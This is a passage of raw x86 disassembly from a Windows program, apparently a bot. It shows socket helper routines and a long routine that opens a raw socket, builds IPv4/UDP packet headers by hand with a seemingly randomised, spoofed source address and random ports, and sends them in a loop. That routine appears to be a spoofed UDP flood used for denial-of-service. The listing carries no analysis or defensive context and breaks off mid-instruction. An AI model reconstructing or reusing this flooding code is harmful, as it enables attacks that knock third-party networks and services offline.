and eax, 2 test eax, eax jz short loc_405010 mov [ebp+var_20], 17h jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE54 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_2C] call dword_4171F4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4050D2 call dword_417224 ; WSAGetLastError cmp eax, 2733h jnz short loc_4050D2 push [ebp+var_28] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+var_2C] jmp short locret_4050E8 ; --------------------------------------------------------------------------- loc_4050D2: ; CODE XREF: sub_404FE7+CEj ; sub_404FE7+DBj push [ebp+var_2C] call sub_4053B1 pop ecx jmp short loc_40505F ; --------------------------------------------------------------------------- loc_4050DD: ; CODE XREF: sub_404FE7+85j push [ebp+var_28] call dword_41DE5C ; freeaddrinfo xor eax, eax locret_4050E8: ; CODE XREF: sub_404FE7+6Bj ; sub_404FE7+E9j leave retn sub_404FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050EA proc near ; CODE XREF: sub_401E38+80p ; sub_402698+16p ... var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 844h mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx mov [ebp+var_834], eax mov eax, [ebp+arg_C] cdq mov ecx, 3E8h idiv ecx imul edx, 3E8h mov [ebp+var_830], edx push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_40513E mov [ebp+var_20], 17h jmp short loc_405155 ; --------------------------------------------------------------------------- loc_40513E: ; CODE XREF: sub_4050EA+49j mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405151 mov [ebp+var_20], 2 jmp short loc_405155 ; --------------------------------------------------------------------------- loc_405151: ; CODE XREF: sub_4050EA+5Cj and [ebp+var_20], 0 loc_405155: ; CODE XREF: sub_4050EA+52j ; sub_4050EA+65j mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_82C] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DE54 ; getaddrinfo test eax, eax jz short loc_405188 xor eax, eax jmp locret_40538B ; --------------------------------------------------------------------------- loc_405188: ; CODE XREF: sub_4050EA+95j mov eax, [ebp+var_82C] mov [ebp+var_4], eax jmp short loc_40519C ; --------------------------------------------------------------------------- loc_405193: ; CODE XREF: sub_4050EA+E3j ; sub_4050EA+128j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40519C: ; CODE XREF: sub_4050EA+A7j cmp [ebp+var_4], 0 jz loc_40537D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 ; socket mov [ebp+var_83C], eax cmp [ebp+var_83C], 0FFFFFFFFh jnz short loc_4051CF jmp short loc_405193 ; --------------------------------------------------------------------------- loc_4051CF: ; CODE XREF: sub_4050EA+E1j push 0 push [ebp+var_83C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_83C] call dword_4171F4 ; connect mov [ebp+var_838], eax cmp [ebp+var_838], 0 jz short loc_405217 call dword_417224 ; WSAGetLastError cmp eax, 2733h jz short loc_405217 jmp loc_405193 ; --------------------------------------------------------------------------- loc_405217: ; CODE XREF: sub_4050EA+119j ; sub_4050EA+126j and [ebp+var_828], 0 loc_40521E: ; CODE XREF: sub_4050EA+1AFj and [ebp+var_840], 0 jmp short loc_405234 ; --------------------------------------------------------------------------- loc_405227: ; CODE XREF: sub_4050EA:loc_405259j mov eax, [ebp+var_840] inc eax mov [ebp+var_840], eax loc_405234: ; CODE XREF: sub_4050EA+13Bj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnb short loc_40525B mov eax, [ebp+var_840] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405259 jmp short loc_40525B ; --------------------------------------------------------------------------- loc_405259: ; CODE XREF: sub_4050EA+16Bj jmp short loc_405227 ; --------------------------------------------------------------------------- loc_40525B: ; CODE XREF: sub_4050EA+156j ; sub_4050EA+16Dj mov eax, [ebp+var_840] cmp eax, [ebp+var_828] jnz short loc_405295 cmp [ebp+var_828], 200h jnb short loc_405295 mov eax, [ebp+var_840] mov ecx, [ebp+var_83C] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_828] inc eax mov [ebp+var_828], eax loc_405295: ; CODE XREF: sub_4050EA+17Dj ; sub_4050EA+189j xor eax, eax test eax, eax jnz short loc_40521E lea eax, [ebp+var_834] push eax push 0 lea eax, [ebp+var_828] push eax push 0 push 0 call dword_41722C ; select cmp eax, 1 jnz short loc_4052E0 push 1 push [ebp+var_83C] call sub_404457 pop ecx pop ecx push [ebp+var_82C] call dword_41DE5C ; freeaddrinfo mov eax, [ebp+var_83C] jmp locret_40538B ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4050EA+1CEj ; sub_4050EA+27Cj and [ebp+var_844], 0 jmp short loc_4052F6 ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: sub_4050EA:loc_405360j mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax loc_4052F6: ; CODE XREF: sub_4050EA+1FDj mov eax, [ebp+var_844] cmp eax, [ebp+var_828] jnb short loc_405362 mov eax, [ebp+var_844] mov eax, [ebp+eax*4+var_824] cmp eax, [ebp+var_83C] jnz short loc_405360 loc_405319: ; CODE XREF: sub_4050EA+265j mov eax, [ebp+var_828] dec eax cmp [ebp+var_844], eax jnb short loc_405351 mov eax, [ebp+var_844] mov ecx, [ebp+var_844] mov ecx, [ebp+ecx*4+var_820] mov [ebp+eax*4+var_824], ecx mov eax, [ebp+var_844] inc eax mov [ebp+var_844], eax jmp short loc_405319 ; --------------------------------------------------------------------------- loc_405351: ; CODE XREF: sub_4050EA+23Cj mov eax, [ebp+var_828] dec eax mov [ebp+var_828], eax jmp short loc_405362 ; --------------------------------------------------------------------------- loc_405360: ; CODE XREF: sub_4050EA+22Dj jmp short loc_4052E9 ; --------------------------------------------------------------------------- loc_405362: ; CODE XREF: sub_4050EA+218j ; sub_4050EA+274j xor eax, eax test eax, eax jnz loc_4052E0 push [ebp+var_83C] call sub_4053B1 pop ecx jmp loc_405193 ; --------------------------------------------------------------------------- loc_40537D: ; CODE XREF: sub_4050EA+B6j push [ebp+var_82C] call dword_41DE5C ; freeaddrinfo xor eax, eax locret_40538B: ; CODE XREF: sub_4050EA+99j ; sub_4050EA+1F1j leave retn sub_4050EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40538D proc near ; CODE XREF: sub_401E38+26Ep ; sub_4020C2+3FBp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 push [ebp+arg_0] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+arg_0] call sub_4053B1 pop ecx pop ebp retn sub_40538D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053B1 proc near ; CODE XREF: sub_404279+77p ; sub_40432E+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_417230 ; closesocket pop ebp retn sub_4053B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053BF proc near ; CODE XREF: sub_401E38+15Cp ; sub_4020C2+2F9p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41720C ; send mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_4053BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053DC proc near ; CODE XREF: sub_403DF3+D1p ; sub_405443+21p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 2 jnb short loc_4053F6 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_4053F6: ; CODE XREF: sub_4053DC+8j push 0 mov eax, [ebp+arg_8] dec eax push eax push [ebp+arg_4] push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_405418 cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40541D loc_405418: ; CODE XREF: sub_4053DC+34j mov eax, [ebp+var_4] jmp short locret_405441 ; --------------------------------------------------------------------------- loc_40541D: ; CODE XREF: sub_4053DC+3Aj mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jb short loc_405435 push 271Eh call dword_417234 ; WSASetLastError or eax, 0FFFFFFFFh jmp short locret_405441 ; --------------------------------------------------------------------------- loc_405435: ; CODE XREF: sub_4053DC+47j mov eax, [ebp+arg_4] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] locret_405441: ; CODE XREF: sub_4053DC+18j ; sub_4053DC+3Fj ... leave retn sub_4053DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405443 proc near ; CODE XREF: sub_402698+8Dp ; sub_402698+2BEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push [ebp+arg_C] push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_40545B xor eax, eax jmp short loc_40546C ; --------------------------------------------------------------------------- loc_40545B: ; CODE XREF: sub_405443+12j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4053DC add esp, 0Ch loc_40546C: ; CODE XREF: sub_405443+16j pop ebp retn sub_405443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40546E proc near ; CODE XREF: sub_405443+9p ; sub_410649+2Dp ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_804 = dword ptr -804h var_800 = dword ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call sub_416BC0 and [ebp+var_804], 0 and [ebp+var_1008], 0 loc_405489: ; CODE XREF: sub_40546E+90j and [ebp+var_1014], 0 jmp short loc_40549F ; --------------------------------------------------------------------------- loc_405492: ; CODE XREF: sub_40546E:loc_4054C1j mov eax, [ebp+var_1014] inc eax mov [ebp+var_1014], eax loc_40549F: ; CODE XREF: sub_40546E+22j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnb short loc_4054C3 mov eax, [ebp+var_1014] mov eax, [ebp+eax*4+var_800] cmp eax, [ebp+arg_0] jnz short loc_4054C1 jmp short loc_4054C3 ; --------------------------------------------------------------------------- loc_4054C1: ; CODE XREF: sub_40546E+4Fj jmp short loc_405492 ; --------------------------------------------------------------------------- loc_4054C3: ; CODE XREF: sub_40546E+3Dj ; sub_40546E+51j mov eax, [ebp+var_1014] cmp eax, [ebp+var_804] jnz short loc_4054FA cmp [ebp+var_804], 200h jnb short loc_4054FA mov eax, [ebp+var_1014] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_800], ecx mov eax, [ebp+var_804] inc eax mov [ebp+var_804], eax loc_4054FA: ; CODE XREF: sub_40546E+61j ; sub_40546E+6Dj xor eax, eax test eax, eax jnz short loc_405489 loc_405500: ; CODE XREF: sub_40546E+107j and [ebp+var_1018], 0 jmp short loc_405516 ; --------------------------------------------------------------------------- loc_405509: ; CODE XREF: sub_40546E:loc_405538j mov eax, [ebp+var_1018] inc eax mov [ebp+var_1018], eax loc_405516: ; CODE XREF: sub_40546E+99j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnb short loc_40553A mov eax, [ebp+var_1018] mov eax, [ebp+eax*4+var_1004] cmp eax, [ebp+arg_0] jnz short loc_405538 jmp short loc_40553A ; --------------------------------------------------------------------------- loc_405538: ; CODE XREF: sub_40546E+C6j jmp short loc_405509 ; --------------------------------------------------------------------------- loc_40553A: ; CODE XREF: sub_40546E+B4j ; sub_40546E+C8j mov eax, [ebp+var_1018] cmp eax, [ebp+var_1008] jnz short loc_405571 cmp [ebp+var_1008], 200h jnb short loc_405571 mov eax, [ebp+var_1018] mov ecx, [ebp+arg_0] mov [ebp+eax*4+var_1004], ecx mov eax, [ebp+var_1008] inc eax mov [ebp+var_1008], eax loc_405571: ; CODE XREF: sub_40546E+D8j ; sub_40546E+E4j xor eax, eax test eax, eax jnz short loc_405500 mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_1010], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_100C], edx lea eax, [ebp+var_1010] push eax lea eax, [ebp+var_1008] push eax push 0 lea eax, [ebp+var_804] push eax push 1 call dword_41722C ; select cmp eax, 1 jz short loc_4055C9 xor eax, eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055C9: ; CODE XREF: sub_40546E+155j lea eax, [ebp+var_804] push eax push [ebp+arg_0] call sub_416E30 ; __WSAFDIsSet test eax, eax jz short loc_4055E1 push 1 pop eax jmp short locret_4055E3 ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_40546E+16Cj xor eax, eax locret_4055E3: ; CODE XREF: sub_40546E+159j ; sub_40546E+171j leave retn sub_40546E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4055E5 proc near ; DATA XREF: sub_405E45+113o var_1358 = dword ptr -1358h var_1354 = dword ptr -1354h var_1350 = dword ptr -1350h var_134C = dword ptr -134Ch var_1348 = dword ptr -1348h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = dword ptr -1338h var_1334 = dword ptr -1334h var_118D = byte ptr -118Dh var_108D = byte ptr -108Dh var_1087 = dword ptr -1087h var_1083 = dword ptr -1083h var_107F = dword ptr -107Fh var_1078 = dword ptr -1078h var_1074 = byte ptr -1074h var_1058 = byte ptr -1058h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1358h call sub_416BC0 push 2B9h push [ebp+arg_0] lea eax, [ebp+var_1334] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0FFh push 3 push 2 call dword_417218 ; socket mov [ebp+var_1078], eax cmp [ebp+var_1078], 0FFFFFFFFh jnz short loc_405643 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405643: ; CODE XREF: sub_4055E5+49j mov [ebp+var_1340], 1 push 4 lea eax, [ebp+var_1340] push eax push 2 push 0 push [ebp+var_1078] call dword_417204 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40567E push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_40567E: ; CODE XREF: sub_4055E5+84j push 0 push [ebp+var_1078] call sub_404457 pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 lea eax, [ebp+var_108D] push eax call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_118D] push eax call dword_417244 ; inet_addr mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405710 lea eax, [ebp+var_118D] push eax call dword_41723C ; gethostbyname mov [ebp+var_1344], eax cmp [ebp+var_1344], 0 jnz short loc_405700 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405700: ; CODE XREF: sub_4055E5+106j mov eax, [ebp+var_1344] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax loc_405710: ; CODE XREF: sub_4055E5+EAj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_405729 push [ebp+var_1334] call sub_409763 pop ecx xor eax, eax jmp locret_405E41 ; --------------------------------------------------------------------------- loc_405729: ; CODE XREF: sub_4055E5+12Fj push 1060h push 0 lea eax, [ebp+var_1074] push eax call sub_416B6A ; memset add esp, 0Ch lea eax, [ebp+var_1074] mov [ebp+var_133C], eax lea eax, [ebp+var_1058] mov [ebp+var_14], eax mov eax, [ebp+var_133C] mov al, [eax] and al, 0F0h or al, 5 mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov al, [eax] and al, 0Fh or al, 40h mov ecx, [ebp+var_133C] mov [ecx], al mov eax, [ebp+var_133C] mov byte ptr [eax+9], 11h mov eax, [ebp+var_133C] mov ecx, [ebp+var_C] mov [eax+10h], ecx mov eax, [ebp+var_133C] mov cx, [ebp+var_E] mov [eax+16h], cx and [ebp+var_1338], 0 jmp short loc_4057B6 ; --------------------------------------------------------------------------- loc_4057A9: ; CODE XREF: sub_4055E5:loc_405E22j mov eax, [ebp+var_1338] inc eax mov [ebp+var_1338], eax loc_4057B6: ; CODE XREF: sub_4055E5+1C2j mov eax, [ebp+var_1338] cmp eax, [ebp+var_1087] jge loc_405E27 mov eax, [ebp+var_107F] mov [ebp+var_1358], eax cmp [ebp+var_1358], 1 jz short loc_4057FC cmp [ebp+var_1358], 2 jz loc_405924 cmp [ebp+var_1358], 3 jz loc_405A11 jmp loc_405C71 ; --------------------------------------------------------------------------- loc_4057FC: ; CODE XREF: sub_4055E5+1F6j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_40581E: ; CODE XREF: sub_4055E5+2BFj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4058A9 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_40581E ; --------------------------------------------------------------------------- loc_4058A9: ; CODE XREF: sub_4055E5+247j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405924: ; CODE XREF: sub_4055E5+1FFj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405946: ; CODE XREF: sub_4055E5+3CBj push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_4059B2 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405946 ; --------------------------------------------------------------------------- loc_4059B2: ; CODE XREF: sub_4055E5+36Fj push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C93 ; --------------------------------------------------------------------------- loc_405A11: ; CODE XREF: sub_4055E5+20Cj push 2 push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_134C], eax cmp [ebp+var_134C], 0 jnz short loc_405A52 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405A52: ; CODE XREF: sub_4055E5+444j cmp [ebp+var_134C], 1 jnz loc_405B87 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405A81: ; CODE XREF: sub_4055E5+522j push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405B0C push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405A81 ; --------------------------------------------------------------------------- loc_405B0C: ; CODE XREF: sub_4055E5+4AAj push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 0FFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp loc_405C6F ; --------------------------------------------------------------------------- loc_405B87: ; CODE XREF: sub_4055E5+474j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset aU ; "%u\r\n" push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405BA9: ; CODE XREF: sub_4055E5+62Ej push [ebp+var_14] call sub_416B40 ; strlen pop ecx cmp eax, 7D0h jnb short loc_405C15 push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n" push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch jmp short loc_405BA9 ; --------------------------------------------------------------------------- loc_405C15: ; CODE XREF: sub_4055E5+5D2j push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push 0 call sub_4103F5 pop ecx pop ecx movzx eax, al push eax push 1 push offset dword_418A64 push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_14] add ecx, eax push ecx call sub_416B5E ; sprintf add esp, 1Ch loc_405C6F: ; CODE XREF: sub_4055E5+468j ; sub_4055E5+59Dj jmp short loc_405C93 ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_4055E5+212j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx movzx eax, ax push eax push offset dword_418A60 push [ebp+var_14] call sub_416B5E ; sprintf add esp, 0Ch loc_405C93: ; CODE XREF: sub_4055E5+33Aj ; sub_4055E5+427j ... push [ebp+var_14] call sub_416B40 ; strlen pop ecx mov [ebp+var_1354], eax and [ebp+var_1350], 0 jmp short loc_405CB8 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_4055E5+6F9j mov eax, [ebp+var_1350] inc eax mov [ebp+var_1350], eax loc_405CB8: ; CODE XREF: sub_4055E5+6C4j mov eax, [ebp+var_1350] cmp eax, [ebp+var_1354] jnb short loc_405CE0 mov eax, [ebp+var_14] add eax, [ebp+var_1350] mov al, [eax] shl al, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1350] mov [ecx], al jmp short loc_405CAB ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_4055E5+6DFj mov eax, [ebp+var_1354] add eax, 1Ch push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+2], ax call sub_41043F push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+4], ax call sub_410483 neg eax sbb eax, eax and al, 0C0h add eax, 80h mov ecx, [ebp+var_133C] mov [ecx+8], al push 2 push offset dword_41EF18 call dword_417244 ; inet_addr push eax call sub_4040E8 pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ch], eax mov eax, [ebp+var_1354] add eax, 14h push eax push [ebp+var_133C] call sub_40407D pop ecx pop ecx mov ecx, [ebp+var_133C] mov [ecx+0Ah], ax movzx eax, [ebp+var_E] test eax, eax jnz short loc_405D7F call sub_41043F mov ecx, [ebp+var_133C] mov [ecx+16h], ax loc_405D7F: ; CODE XREF: sub_4055E5+789j push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+14h], ax mov eax, [ebp+var_1354] add eax, 8 push eax call dword_417238 ; htons mov ecx, [ebp+var_133C] mov [ecx+18h], ax push 10h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+var_1354] add eax, 1Ch push eax lea eax, [ebp+var_1074] push eax push [ebp+var_1078] call dword_417250 ; sendto mov [ebp+var_1348], eax cmp [ebp+var_1348], 0FFFFFFFFh jnz short loc_405E08 push [ebp+var_1334] call sub_409763 pop ecx push [ebp+var_1078] call sub_4053B1 pop ecx xor eax, eax jmp short locret_405E41 ; --------------------------------------------------------------------------- loc_405E08: ; CODE XREF: sub_4055E5+805j push [ebp+var_1083] call 